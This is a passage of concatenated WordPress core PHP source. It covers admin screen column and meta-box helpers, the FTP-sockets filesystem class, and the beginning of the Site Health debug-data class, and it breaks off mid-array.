 * @return string[] The column header labels keyed by column ID.
 */
function get_column_headers( $screen ) {
	static $column_headers = array();

	if ( is_string( $screen ) ) {
		$screen = convert_to_screen( $screen );
	}

	if ( ! isset( $column_headers[ $screen->id ] ) ) {
		/**
		 * Filters the column headers for a list table on a specific screen.
		 *
		 * The dynamic portion of the hook name, `$screen->id`, refers to the
		 * ID of a specific screen. For example, the screen ID for the Posts
		 * list table is edit-post, so the filter for that screen would be
		 * manage_edit-post_columns.
		 *
		 * @since 3.0.0
		 *
		 * @param string[] $columns The column header labels keyed by column ID.
		 */
		$column_headers[ $screen->id ] = apply_filters( "manage_{$screen->id}_columns", array() );
	}

	return $column_headers[ $screen->id ];
}

/**
 * Get a list of hidden columns.
 *
 * @since 2.7.0
 *
 * @param string|WP_Screen $screen The screen you want the hidden columns for
 * @return string[] Array of IDs of hidden columns.
 */
function get_hidden_columns( $screen ) {
	if ( is_string( $screen ) ) {
		$screen = convert_to_screen( $screen );
	}

	$hidden = get_user_option( 'manage' . $screen->id . 'columnshidden' );

	$use_defaults = ! is_array( $hidden );

	if ( $use_defaults ) {
		$hidden = array();

		/**
		 * Filters the default list of hidden columns.
		 *
		 * @since 4.4.0
		 *
		 * @param string[]  $hidden Array of IDs of columns hidden by default.
		 * @param WP_Screen $screen WP_Screen object of the current screen.
		 */
		$hidden = apply_filters( 'default_hidden_columns', $hidden, $screen );
	}

	/**
	 * Filters the list of hidden columns.
	 *
	 * @since 4.4.0
	 * @since 4.4.1 Added the `use_defaults` parameter.
	 *
	 * @param string[]  $hidden       Array of IDs of hidden columns.
	 * @param WP_Screen $screen       WP_Screen object of the current screen.
	 * @param bool      $use_defaults Whether to show the default columns.
	 */
	return apply_filters( 'hidden_columns', $hidden, $screen, $use_defaults );
}

/**
 * Prints the meta box preferences for screen meta.
 *
 * @since 2.7.0
 *
 * @global array $wp_meta_boxes
 *
 * @param WP_Screen $screen
 */
function meta_box_prefs( $screen ) {
	global $wp_meta_boxes;

	if ( is_string( $screen ) ) {
		$screen = convert_to_screen( $screen );
	}

	if ( empty( $wp_meta_boxes[ $screen->id ] ) ) {
		return;
	}

	$hidden = get_hidden_meta_boxes( $screen );

	foreach ( array_keys( $wp_meta_boxes[ $screen->id ] ) as $context ) {
		foreach ( array( 'high', 'core', 'default', 'low' ) as $priority ) {
			if ( ! isset( $wp_meta_boxes[ $screen->id ][ $context ][ $priority ] ) ) {
				continue;
			}

			foreach ( $wp_meta_boxes[ $screen->id ][ $context ][ $priority ] as $box ) {
				if ( false === $box || ! $box['title'] ) {
					continue;
				}

				// Submit box cannot be hidden.
				if ( 'submitdiv' === $box['id'] || 'linksubmitdiv' === $box['id'] ) {
					continue;
				}

				$widget_title = $box['title'];

				if ( is_array( $box['args'] ) && isset( $box['args']['__widget_basename'] ) ) {
					$widget_title = $box['args']['__widget_basename'];
				}

				$is_hidden = in_array( $box['id'], $hidden, true );

				printf(
					'<label for="%1$s-hide"><input class="hide-postbox-tog" name="%1$s-hide" type="checkbox" id="%1$s-hide" value="%1$s" %2$s />%3$s</label>',
					esc_attr( $box['id'] ),
					checked( $is_hidden, false, false ),
					$widget_title
				);
			}
		}
	}
}

/**
 * Gets an array of IDs of hidden meta boxes.
 *
 * @since 2.7.0
 *
 * @param string|WP_Screen $screen Screen identifier
 * @return string[] IDs of hidden meta boxes.
 */
function get_hidden_meta_boxes( $screen ) {
	if ( is_string( $screen ) ) {
		$screen = convert_to_screen( $screen );
	}

	$hidden = get_user_option( "metaboxhidden_{$screen->id}" );

	$use_defaults = ! is_array( $hidden );

	// Hide slug boxes by default.
	if ( $use_defaults ) {
		$hidden = array();

		if ( 'post' === $screen->base ) {
			if ( in_array( $screen->post_type, array( 'post', 'page', 'attachment' ), true ) ) {
				$hidden = array( 'slugdiv', 'trackbacksdiv', 'postcustom', 'postexcerpt', 'commentstatusdiv', 'commentsdiv', 'authordiv', 'revisionsdiv' );
			} else {
				$hidden = array( 'slugdiv' );
			}
		}

		/**
		 * Filters the default list of hidden meta boxes.
		 *
		 * @since 3.1.0
		 *
		 * @param string[]  $hidden An array of IDs of meta boxes hidden by default.
		 * @param WP_Screen $screen WP_Screen object of the current screen.
		 */
		$hidden = apply_filters( 'default_hidden_meta_boxes', $hidden, $screen );
	}

	/**
	 * Filters the list of hidden meta boxes.
	 *
	 * @since 3.3.0
	 *
	 * @param string[]  $hidden       An array of IDs of hidden meta boxes.
	 * @param WP_Screen $screen       WP_Screen object of the current screen.
	 * @param bool      $use_defaults Whether to show the default meta boxes.
	 *                                Default true.
	 */
	return apply_filters( 'hidden_meta_boxes', $hidden, $screen, $use_defaults );
}

/**
 * Register and configure an admin screen option
 *
 * @since 3.1.0
 *
 * @param string $option An option name.
 * @param mixed  $args   Option-dependent arguments.
 */
function add_screen_option( $option, $args = array() ) {
	$current_screen = get_current_screen();

	if ( ! $current_screen ) {
		return;
	}

	$current_screen->add_option( $option, $args );
}

/**
 * Get the current screen object
 *
 * @since 3.1.0
 *
 * @global WP_Screen $current_screen WordPress current screen object.
 *
 * @return WP_Screen|null Current screen object or null when screen not defined.
 */
function get_current_screen() {
	global $current_screen;

	if ( ! isset( $current_screen ) ) {
		return null;
	}

	return $current_screen;
}

/**
 * Set the current screen object
 *
 * @since 3.0.0
 *
 * @param string|WP_Screen $hook_name Optional. The hook name (also known as the hook suffix) used to determine the screen,
 *                                    or an existing screen object.
 */
function set_current_screen( $hook_name = '' ) {
	WP_Screen::get( $hook_name )->set_current_screen();
}
<?php
/**
 * WordPress FTP Sockets Filesystem.
 *
 * @package WordPress
 * @subpackage Filesystem
 */

/**
 * WordPress Filesystem Class for implementing FTP Sockets.
 *
 * @since 2.5.0
 *
 * @see WP_Filesystem_Base
 */
class WP_Filesystem_ftpsockets extends WP_Filesystem_Base {

	/**
	 * @since 2.5.0
	 * @var ftp
	 */
	public $ftp;

	/**
	 * Constructor.
	 *
	 * @since 2.5.0
	 *
	 * @param array $opt
	 */
	public function __construct( $opt = '' ) {
		$this->method = 'ftpsockets';
		$this->errors = new WP_Error();

		// Check if possible to use ftp functions.
		if ( ! require_once ABSPATH . 'wp-admin/includes/class-ftp.php' ) {
			return;
		}

		$this->ftp = new ftp();

		if ( empty( $opt['port'] ) ) {
			$this->options['port'] = 21;
		} else {
			$this->options['port'] = (int) $opt['port'];
		}

		if ( empty( $opt['hostname'] ) ) {
			$this->errors->add( 'empty_hostname', __( 'FTP hostname is required' ) );
		} else {
			$this->options['hostname'] = $opt['hostname'];
		}

		// Check if the options provided are OK.
		if ( empty( $opt['username'] ) ) {
			$this->errors->add( 'empty_username', __( 'FTP username is required' ) );
		} else {
			$this->options['username'] = $opt['username'];
		}

		if ( empty( $opt['password'] ) ) {
			$this->errors->add( 'empty_password', __( 'FTP password is required' ) );
		} else {
			$this->options['password'] = $opt['password'];
		}
	}

	/**
	 * Connects filesystem.
	 *
	 * @since 2.5.0
	 *
	 * @return bool True on success, false on failure.
	 */
	public function connect() {
		if ( ! $this->ftp ) {
			return false;
		}

		$this->ftp->setTimeout( FS_CONNECT_TIMEOUT );

		if ( ! $this->ftp->SetServer( $this->options['hostname'], $this->options['port'] ) ) {
			$this->errors->add(
				'connect',
				sprintf(
					/* translators: %s: hostname:port */
					__( 'Failed to connect to FTP Server %s' ),
					$this->options['hostname'] . ':' . $this->options['port']
				)
			);

			return false;
		}

		if ( ! $this->ftp->connect() ) {
			$this->errors->add(
				'connect',
				sprintf(
					/* translators: %s: hostname:port */
					__( 'Failed to connect to FTP Server %s' ),
					$this->options['hostname'] . ':' . $this->options['port']
				)
			);

			return false;
		}

		if ( ! $this->ftp->login( $this->options['username'], $this->options['password'] ) ) {
			$this->errors->add(
				'auth',
				sprintf(
					/* translators: %s: Username. */
					__( 'Username/Password incorrect for %s' ),
					$this->options['username']
				)
			);

			return false;
		}

		$this->ftp->SetType( FTP_BINARY );
		$this->ftp->Passive( true );
		$this->ftp->setTimeout( FS_TIMEOUT );

		return true;
	}

	/**
	 * Reads entire file into a string.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Name of the file to read.
	 * @return string|false Read data on success, false if no temporary file could be opened,
	 *                      or if the file couldn't be retrieved.
	 */
	public function get_contents( $file ) {
		if ( ! $this->exists( $file ) ) {
			return false;
		}

		$tempfile   = wp_tempnam( $file );
		$temphandle = fopen( $tempfile, 'w+' );

		if ( ! $temphandle ) {
			unlink( $tempfile );
			return false;
		}

		mbstring_binary_safe_encoding();

		if ( ! $this->ftp->fget( $temphandle, $file ) ) {
			fclose( $temphandle );
			unlink( $tempfile );

			reset_mbstring_encoding();

			return ''; // Blank document. File does exist, it's just blank.
		}

		reset_mbstring_encoding();

		fseek( $temphandle, 0 ); // Skip back to the start of the file being written to.
		$contents = '';

		while ( ! feof( $temphandle ) ) {
			$contents .= fread( $temphandle, 8 * KB_IN_BYTES );
		}

		fclose( $temphandle );
		unlink( $tempfile );

		return $contents;
	}

	/**
	 * Reads entire file into an array.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to the file.
	 * @return array|false File contents in an array on success, false on failure.
	 */
	public function get_contents_array( $file ) {
		return explode( "\n", $this->get_contents( $file ) );
	}

	/**
	 * Writes a string to a file.
	 *
	 * @since 2.5.0
	 *
	 * @param string    $file     Remote path to the file where to write the data.
	 * @param string    $contents The data to write.
	 * @param int|false $mode     Optional. The file permissions as octal number, usually 0644.
	 *                            Default false.
	 * @return bool True on success, false on failure.
	 */
	public function put_contents( $file, $contents, $mode = false ) {
		$tempfile   = wp_tempnam( $file );
		$temphandle = @fopen( $tempfile, 'w+' );

		if ( ! $temphandle ) {
			unlink( $tempfile );
			return false;
		}

		// The FTP class uses string functions internally during file download/upload.
		mbstring_binary_safe_encoding();

		$bytes_written = fwrite( $temphandle, $contents );

		if ( false === $bytes_written || strlen( $contents ) !== $bytes_written ) {
			fclose( $temphandle );
			unlink( $tempfile );

			reset_mbstring_encoding();

			return false;
		}

		fseek( $temphandle, 0 ); // Skip back to the start of the file being written to.

		$ret = $this->ftp->fput( $file, $temphandle );

		reset_mbstring_encoding();

		fclose( $temphandle );
		unlink( $tempfile );

		$this->chmod( $file, $mode );

		return $ret;
	}

	/**
	 * Gets the current working directory.
	 *
	 * @since 2.5.0
	 *
	 * @return string|false The current working directory on success, false on failure.
	 */
	public function cwd() {
		$cwd = $this->ftp->pwd();

		if ( $cwd ) {
			$cwd = trailingslashit( $cwd );
		}

		return $cwd;
	}

	/**
	 * Changes current directory.
	 *
	 * @since 2.5.0
	 *
	 * @param string $dir The new current directory.
	 * @return bool True on success, false on failure.
	 */
	public function chdir( $dir ) {
		return $this->ftp->chdir( $dir );
	}

	/**
	 * Changes filesystem permissions.
	 *
	 * @since 2.5.0
	 *
	 * @param string    $file      Path to the file.
	 * @param int|false $mode      Optional. The permissions as octal number, usually 0644 for files,
	 *                             0755 for directories. Default false.
	 * @param bool      $recursive Optional. If set to true, changes file permissions recursively.
	 *                             Default false.
	 * @return bool True on success, false on failure.
	 */
	public function chmod( $file, $mode = false, $recursive = false ) {
		if ( ! $mode ) {
			if ( $this->is_file( $file ) ) {
				$mode = FS_CHMOD_FILE;
			} elseif ( $this->is_dir( $file ) ) {
				$mode = FS_CHMOD_DIR;
			} else {
				return false;
			}
		}

		// chmod any sub-objects if recursive.
		if ( $recursive && $this->is_dir( $file ) ) {
			$filelist = $this->dirlist( $file );

			foreach ( (array) $filelist as $filename => $filemeta ) {
				$this->chmod( $file . '/' . $filename, $mode, $recursive );
			}
		}

		// chmod the file or directory.
		return $this->ftp->chmod( $file, $mode );
	}

	/**
	 * Gets the file owner.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to the file.
	 * @return string|false Username of the owner on success, false on failure.
	 */
	public function owner( $file ) {
		$dir = $this->dirlist( $file );

		return $dir[ $file ]['owner'];
	}

	/**
	 * Gets the permissions of the specified file or filepath in their octal format.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to the file.
	 * @return string Mode of the file (the last 3 digits).
	 */
	public function getchmod( $file ) {
		$dir = $this->dirlist( $file );

		return $dir[ $file ]['permsn'];
	}

	/**
	 * Gets the file's group.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to the file.
	 * @return string|false The group on success, false on failure.
	 */
	public function group( $file ) {
		$dir = $this->dirlist( $file );

		return $dir[ $file ]['group'];
	}

	/**
	 * Copies a file.
	 *
	 * @since 2.5.0
	 *
	 * @param string    $source      Path to the source file.
	 * @param string    $destination Path to the destination file.
	 * @param bool      $overwrite   Optional. Whether to overwrite the destination file if it exists.
	 *                               Default false.
	 * @param int|false $mode        Optional. The permissions as octal number, usually 0644 for files,
	 *                               0755 for dirs. Default false.
	 * @return bool True on success, false on failure.
	 */
	public function copy( $source, $destination, $overwrite = false, $mode = false ) {
		if ( ! $overwrite && $this->exists( $destination ) ) {
			return false;
		}

		$content = $this->get_contents( $source );

		if ( false === $content ) {
			return false;
		}

		return $this->put_contents( $destination, $content, $mode );
	}

	/**
	 * Moves a file or directory.
	 *
	 * After moving files or directories, OPcache will need to be invalidated.
	 *
	 * If moving a directory fails, `copy_dir()` can be used for a recursive copy.
	 *
	 * Use `move_dir()` for moving directories with OPcache invalidation and a
	 * fallback to `copy_dir()`.
	 *
	 * @since 2.5.0
	 *
	 * @param string $source      Path to the source file or directory.
	 * @param string $destination Path to the destination file or directory.
	 * @param bool   $overwrite   Optional. Whether to overwrite the destination if it exists.
	 *                            Default false.
	 * @return bool True on success, false on failure.
	 */
	public function move( $source, $destination, $overwrite = false ) {
		return $this->ftp->rename( $source, $destination );
	}

	/**
	 * Deletes a file or directory.
	 *
	 * @since 2.5.0
	 *
	 * @param string       $file      Path to the file or directory.
	 * @param bool         $recursive Optional. If set to true, deletes files and folders recursively.
	 *                                Default false.
	 * @param string|false $type      Type of resource. 'f' for file, 'd' for directory.
	 *                                Default false.
	 * @return bool True on success, false on failure.
	 */
	public function delete( $file, $recursive = false, $type = false ) {
		if ( empty( $file ) ) {
			return false;
		}

		if ( 'f' === $type || $this->is_file( $file ) ) {
			return $this->ftp->delete( $file );
		}

		if ( ! $recursive ) {
			return $this->ftp->rmdir( $file );
		}

		return $this->ftp->mdel( $file );
	}

	/**
	 * Checks if a file or directory exists.
	 *
	 * @since 2.5.0
	 * @since 6.3.0 Returns false for an empty path.
	 *
	 * @param string $path Path to file or directory.
	 * @return bool Whether $path exists or not.
	 */
	public function exists( $path ) {
		/*
		 * Check for empty path. If ftp::nlist() receives an empty path,
		 * it checks the current working directory and may return true.
		 *
		 * See https://core.trac.wordpress.org/ticket/33058.
		 */
		if ( '' === $path ) {
			return false;
		}

		$list = $this->ftp->nlist( $path );

		if ( empty( $list ) && $this->is_dir( $path ) ) {
			return true; // File is an empty directory.
		}

		return ! empty( $list ); // Empty list = no file, so invert.
		// Return $this->ftp->is_exists($file); has issues with ABOR+426 responses on the ncFTPd server.
	}

	/**
	 * Checks if resource is a file.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file File path.
	 * @return bool Whether $file is a file.
	 */
	public function is_file( $file ) {
		if ( $this->is_dir( $file ) ) {
			return false;
		}

		if ( $this->exists( $file ) ) {
			return true;
		}

		return false;
	}

	/**
	 * Checks if resource is a directory.
	 *
	 * @since 2.5.0
	 *
	 * @param string $path Directory path.
	 * @return bool Whether $path is a directory.
	 */
	public function is_dir( $path ) {
		$cwd = $this->cwd();

		if ( $this->chdir( $path ) ) {
			$this->chdir( $cwd );
			return true;
		}

		return false;
	}

	/**
	 * Checks if a file is readable.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to file.
	 * @return bool Whether $file is readable.
	 */
	public function is_readable( $file ) {
		return true;
	}

	/**
	 * Checks if a file or directory is writable.
	 *
	 * @since 2.5.0
	 *
	 * @param string $path Path to file or directory.
	 * @return bool Whether $path is writable.
	 */
	public function is_writable( $path ) {
		return true;
	}

	/**
	 * Gets the file's last access time.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to file.
	 * @return int|false Unix timestamp representing last access time, false on failure.
	 */
	public function atime( $file ) {
		return false;
	}

	/**
	 * Gets the file modification time.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to file.
	 * @return int|false Unix timestamp representing modification time, false on failure.
	 */
	public function mtime( $file ) {
		return $this->ftp->mdtm( $file );
	}

	/**
	 * Gets the file size (in bytes).
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to file.
	 * @return int|false Size of the file in bytes on success, false on failure.
	 */
	public function size( $file ) {
		return $this->ftp->filesize( $file );
	}

	/**
	 * Sets the access and modification times of a file.
	 *
	 * Note: If $file doesn't exist, it will be created.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file  Path to file.
	 * @param int    $time  Optional. Modified time to set for file.
	 *                      Default 0.
	 * @param int    $atime Optional. Access time to set for file.
	 *                      Default 0.
	 * @return bool True on success, false on failure.
	 */
	public function touch( $file, $time = 0, $atime = 0 ) {
		return false;
	}

	/**
	 * Creates a directory.
	 *
	 * @since 2.5.0
	 *
	 * @param string           $path  Path for new directory.
	 * @param int|false        $chmod Optional. The permissions as octal number (or false to skip chmod).
	 *                                Default false.
	 * @param string|int|false $chown Optional. A user name or number (or false to skip chown).
	 *                                Default false.
	 * @param string|int|false $chgrp Optional. A group name or number (or false to skip chgrp).
	 *                                Default false.
	 * @return bool True on success, false on failure.
	 */
	public function mkdir( $path, $chmod = false, $chown = false, $chgrp = false ) {
		$path = untrailingslashit( $path );

		if ( empty( $path ) ) {
			return false;
		}

		if ( ! $this->ftp->mkdir( $path ) ) {
			return false;
		}

		if ( ! $chmod ) {
			$chmod = FS_CHMOD_DIR;
		}

		$this->chmod( $path, $chmod );

		return true;
	}

	/**
	 * Deletes a directory.
	 *
	 * @since 2.5.0
	 *
	 * @param string $path      Path to directory.
	 * @param bool   $recursive Optional. Whether to recursively remove files/directories.
	 *                          Default false.
	 * @return bool True on success, false on failure.
	 */
	public function rmdir( $path, $recursive = false ) {
		return $this->delete( $path, $recursive );
	}

	/**
	 * Gets details for files in a directory or a specific file.
	 *
	 * @since 2.5.0
	 *
	 * @param string $path           Path to directory or file.
	 * @param bool   $include_hidden Optional. Whether to include details of hidden ("." prefixed) files.
	 *                               Default true.
	 * @param bool   $recursive      Optional. Whether to recursively include file details in nested directories.
	 *                               Default false.
	 * @return array|false {
	 *     Array of arrays containing file information. False if unable to list directory contents.
	 *
	 *     @type array ...$0 {
	 *         Array of file information. Note that some elements may not be available on all filesystems.
	 *
	 *         @type string           $name        Name of the file or directory.
	 *         @type string           $perms       *nix representation of permissions.
	 *         @type string           $permsn      Octal representation of permissions.
	 *         @type int|string|false $number      File number. May be a numeric string. False if not available.
	 *         @type string|false     $owner       Owner name or ID, or false if not available.
	 *         @type string|false     $group       File permissions group, or false if not available.
	 *         @type int|string|false $size        Size of file in bytes. May be a numeric string.
	 *                                             False if not available.
	 *         @type int|string|false $lastmodunix Last modified unix timestamp. May be a numeric string.
	 *                                             False if not available.
	 *         @type string|false     $lastmod     Last modified month (3 letters) and day (without leading 0), or
	 *                                             false if not available.
	 *         @type string|false     $time        Last modified time, or false if not available.
	 *         @type string           $type        Type of resource. 'f' for file, 'd' for directory, 'l' for link.
	 *         @type array|false      $files       If a directory and `$recursive` is true, contains another array of
	 *                                             files. False if unable to list directory contents.
	 *     }
	 * }
	 */
	public function dirlist( $path = '.', $include_hidden = true, $recursive = false ) {
		if ( $this->is_file( $path ) ) {
			$limit_file = basename( $path );
			$path       = dirname( $path ) . '/';
		} else {
			$limit_file = false;
		}

		mbstring_binary_safe_encoding();

		$list = $this->ftp->dirlist( $path );

		if ( empty( $list ) && ! $this->exists( $path ) ) {

			reset_mbstring_encoding();

			return false;
		}

		$path = trailingslashit( $path );
		$ret  = array();

		foreach ( $list as $struc ) {

			if ( '.' === $struc['name'] || '..' === $struc['name'] ) {
				continue;
			}

			if ( ! $include_hidden && '.' === $struc['name'][0] ) {
				continue;
			}

			if ( $limit_file && $struc['name'] !== $limit_file ) {
				continue;
			}

			if ( 'd' === $struc['type'] ) {
				if ( $recursive ) {
					$struc['files'] = $this->dirlist( $path . $struc['name'], $include_hidden, $recursive );
				} else {
					$struc['files'] = array();
				}
			}

			// Replace symlinks formatted as "source -> target" with just the source name.
			if ( $struc['islink'] ) {
				$struc['name'] = preg_replace( '/(\s*->\s*.*)$/', '', $struc['name'] );
			}

			// Add the octal representation of the file permissions.
			$struc['permsn'] = $this->getnumchmodfromh( $struc['perms'] );

			$ret[ $struc['name'] ] = $struc;
		}

		reset_mbstring_encoding();

		return $ret;
	}

	/**
	 * Destructor.
	 *
	 * @since 2.5.0
	 */
	public function __destruct() {
		$this->ftp->quit();
	}
}
<?php
/**
 * Class for providing debug data based on a users WordPress environment.
 *
 * @package WordPress
 * @subpackage Site_Health
 * @since 5.2.0
 */

#[AllowDynamicProperties]
class WP_Debug_Data {
	/**
	 * Calls all core functions to check for updates.
	 *
	 * @since 5.2.0
	 */
	public static function check_for_updates() {
		wp_version_check();
		wp_update_plugins();
		wp_update_themes();
	}

	/**
	 * Static function for generating site debug data when required.
	 *
	 * @since 5.2.0
	 * @since 5.3.0 Added database charset, database collation,
	 *              and timezone information.
	 * @since 5.5.0 Added pretty permalinks support information.
	 *
	 * @throws ImagickException
	 * @global wpdb  $wpdb               WordPress database abstraction object.
	 * @global array $_wp_theme_features
	 *
	 * @return array The debug data for the site.
	 */
	public static function debug_data() {
		global $wpdb, $_wp_theme_features;

		// Save few function calls.
		$upload_dir             = wp_upload_dir();
		$permalink_structure    = get_option( 'permalink_structure' );
		$is_ssl                 = is_ssl();
		$is_multisite           = is_multisite();
		$users_can_register     = get_option( 'users_can_register' );
		$blog_public            = get_option( 'blog_public' );
		$default_comment_status = get_option( 'default_comment_status' );
		$environment_type       = wp_get_environment_type();
		$core_version           = get_bloginfo( 'version' );
		$core_updates           = get_core_updates();
		$core_update_needed     = '';

		if ( is_array( $core_updates ) ) {
			foreach ( $core_updates as $core => $update ) {
				if ( 'upgrade' === $update->response ) {
					/* translators: %s: Latest WordPress version number. */
					$core_update_needed = ' ' . sprintf( __( '(Latest version: %s)' ), $update->version );
				} else {
					$core_update_needed = '';
				}
			}
		}

		// Set up the array that holds all debug information.
		$info = array();

		$info['wp-core'] = array(
			'label'  => __( 'WordPress' ),
			'fields' => array(
				'version'                => array(
					'label' => __( 'Version' ),
					'value' => $core_version . $core_update_needed,
					'debug' => $core_version,
				),
				'site_language'          => array(
					'label' => __( 'Site Language' ),
					'value' => get_locale(),
				),
				'user_language'          => array(
					'label' => __( 'User Language' ),
					'value' => get_user_locale(),
				),
				'timezone'               => array(
					'label' => __( 'Timezone' ),
					'value' => wp_timezone_string(),
				),
				'home_url'               => array(
					'label'   => __( 'Home URL' ),
					'value'   => get_bloginfo( 'url' ),
					'private' => true,
				),
				'site_url'               => array(
					'label'   => __( 'Site URL' ),
					'value'   => get_bloginfo( 'wpurl' ),
					'private' => true,
				),
				'permalink'              => array(
					'label' => __( 'Permalink structure' ),
					'value' => $permalink_structure ? $permalink_structure : __( 'No permalink structure set' ),
					'debug' => $permalink_structure,
				),
				'https_status'           => array(
					'label' => __( 'Is this site using HTTPS?' ),
					'value' => $is_ssl ? __( 'Yes' ) : __( 'No' ),
					'debug' => $is_ssl,
				),
				'multisite'              => array(
					'label' => __( 'Is this a multisite?' ),
					'value' => $is_multisite ? __( 'Yes' ) : __( 'No' ),
					'debug' => $is_multisite,
				),
				'user_registration'      => array(
					'label' => __( 'Can anyone register on this site?' ),
					'value' => $users_can_register ? __( 'Yes' ) : __( 'No' ),
					'debug' => $users_can_register,
				),
				'blog_public'            => array(
					'label' => __( 'Is this site discouraging search engines?' ),
					'value' => $blog_public ? __( 'No' ) : __( 'Yes' ),
					'debug' => $blog_public,
				),
				'default_comment_status' => array(
					'label' => __( 'Default comment status' ),
					'value' => 'open' === $default_comment_status ? _x( 'Open', 'comment status' ) : _x( 'Closed', 'comment status' ),
					'debug' => $default_comment_status,
				),
				'environment_type'       => array(
					'label' => __( 'Environment type' ),
					'value' => $environment_type,
					'debug' => $environment_type,
				),
			),
		);

		if ( ! $is_multisite ) {
			$info['wp-paths-sizes'] = array(
				'label'  => __( 'Directories and Sizes' ),
				'fields' => array(),
			);
		}

		$info['wp-dropins'] = array(
			'label'       => __( 'Drop-ins' ),
			'show_count'  => true,
			'description' => sprintf(
				/* translators: %s: wp-content directory name. */
				__( 'Drop-ins are single files, found in the %s directory, that replace or enhance WordPress features in ways that are not possible for traditional plugins.' ),
				'<code>' . str_replace( ABSPATH, '', WP_CONTENT_DIR ) . '</code>'
			),
			'fields'      => array(),
		);

		$info['wp-active-theme'] = array(
			'label'  => __( 'Active Theme' ),
			'fields' => array(),
		);

		$info['wp-parent-theme'] = array(
			'label'  => __( 'Parent Theme' ),
			'fields' => array(),
		);

		$info['wp-themes-inactive'] = array(
			'label'      => __( 'Inactive Themes' ),
			'show_count' => true,
			'fields'     => array(),
		);

		$info['wp-mu-plugins'] = array(
			'label'      => __( 'Must Use Plugins' ),
			'show_count' => true,
			'fields'     => array(),
		);

		$info['wp-plugins-active'] = array(
			'label'      => __( 'Active Plugins' ),
			'show_count' => true,
			'fields'     => array(),
		);

		$info['wp-plugins-inactive'] = array(
			'label'      => __( 'Inactive Plugins' ),
			'show_count' => true,
			'fields'     => array(),
		);

		$info['wp-media'] = array(
			'label'  => __( 'Media Handling' ),
			'fields' => array(),
		);

		$info['wp-server'] = array(
			'label'       => __( 'Server' ),
			'description' => __( 'The options shown below relate to your server setup. If changes are required, you may need your web host&#8217;s assistance.' ),
			'fields'      => array(),
		);

		$info['wp-database'] = array(
			'label'  => __( 'Database' ),
			'fields' => array(),
		);

		// Check if WP_DEBUG_LOG is set.
		$wp_debug_log_value = __( 'Disabled' );

		if ( is_string( WP_DEBUG_LOG ) ) {
			$wp_debug_log_value = WP_DEBUG_LOG;
		} elseif ( WP_DEBUG_LOG ) {
			$wp_debug_log_value = __( 'Enabled' );
		}

		// Check CONCATENATE_SCRIPTS.
		if ( defined( 'CONCATENATE_SCRIPTS' ) ) {
			$concatenate_scripts       = CONCATENATE_SCRIPTS ? __( 'Enabled' ) : __( 'Disabled' );
			$concatenate_scripts_debug = CONCATENATE_SCRIPTS ? 'true' : 'false';
		} else {
			$concatenate_scripts       = __( 'Undefined' );
			$concatenate_scripts_debug = 'undefined';
		}

		// Check COMPRESS_SCRIPTS.
		if ( defined( 'COMPRESS_SCRIPTS' ) ) {
			$compress_scripts       = COMPRESS_SCRIPTS ? __( 'Enabled' ) : __( 'Disabled' );
			$compress_scripts_debug = COMPRESS_SCRIPTS ? 'true' : 'false';
		} else {
			$compress_scripts       = __( 'Undefined' );
			$compress_scripts_debug = 'undefined';
		}

		// Check COMPRESS_CSS.
		if ( defined( 'COMPRESS_CSS' ) ) {
			$compress_css       = COMPRESS_CSS ? __( 'Enabled' ) : __( 'Disabled' );
			$compress_css_debug = COMPRESS_CSS ? 'true' : 'false';
		} else {
			$compress_css       = __( 'Undefined' );
			$compress_css_debug = 'undefined';
		}

		// Check WP_ENVIRONMENT_TYPE.
		if ( defined( 'WP_ENVIRONMENT_TYPE' ) && WP_ENVIRONMENT_TYPE ) {
			$wp_environment_type = WP_ENVIRONMENT_TYPE;
		} else {
			$wp_environment_type = __( 'Undefined' );
		}

		$info['wp-constants'] = array(
			'label'       => __( 'WordPress Constants' ),
			'description' => __( 'These settings alter where and how parts of WordPress are loaded.' ),
			'fields'      => array(
				'ABSPATH'             => array(
					'label'   => 'ABSPATH',
					'value'   => ABSPATH,
					'private' => true,
				),
				'WP_HOME'             => array(
					'label' => 'WP_HOME',
					'value' => ( defined( 'WP_HOME' ) ? WP_HOME : __( 'Undefined' ) ),
					'debug' => ( defined( 'WP_HOME' ) ? WP_HOME : 'undefined' ),
				),
				'WP_SITEURL'          => array(
					'label' => 'WP_SITEURL',
					'value' => ( defined( 'WP_SITEURL' ) ? WP_SITEURL : __( 'Undefined' ) ),
					'debug' => ( defined( 'WP_SITEURL' ) ? WP_SITEURL : 'undefined' ),
				),
				'WP_CONTENT_DIR'      => array(
					'label' => 'WP_CONTENT_DIR',
					'value' => WP_CONTENT_DIR,
				),
				'WP_PLUGIN_DIR'       => array(
					'label' => 'WP_PLUGIN_DIR',
					'value' => WP_PLUGIN_DIR,
				),
				'WP_MEMORY_LIMIT'     => array(
					'label' => 'WP_MEMORY_LIMIT',
					'value' => WP_MEMORY_LIMIT,
				),
				'WP_MAX_MEMORY_LIMIT' => array(
					'label' => 'WP_MAX_MEMORY_LIMIT',
					'value' => WP_MAX_MEMORY_LIMIT,
				),
				'WP_DEBUG'            => array(
					'label' => 'WP_DEBUG',
					'value' => WP_DEBUG ? __( 'Enabled' ) : __( 'Disabled' ),
					'debug' => WP_DEBUG,
				),
				'WP_DEBUG_DISPLAY'    => array(
					'label' => 'WP_DEBUG_DISPLAY',
					'value' => WP_DEBUG_DISPLAY ? __( 'Enabled' ) : __( 'Disabled' ),
					'debug' => WP_DEBUG_DISPLAY,
				),
				'WP_DEBUG_LOG'        => array(
					'label' => 'WP_DEBUG_LOG',
					'value' => $wp_debug_log_value,
					'debug' => WP_DEBUG_LOG,
				),
				'SCRIPT_DEBUG'        => array(
					'label' => 'SCRIPT_DEBUG',
					'value' => SCRIPT_DEBUG ? __( 'Enabled' ) : __( 'Disabled' ),
					'debug' => SCRIPT_DEBUG,
				),
				'WP_CACHE'            => array(
					'label' => 'WP_CACHE',
					'value' => WP_CACHE ? __( 'Enabled' ) : __( 'Disabled' ),
					'debug' => WP_CACHE,
				),
				'CONCATENATE_SCRIPTS' => array(
					'label' => 'CONCATENATE_SCRIPTS',
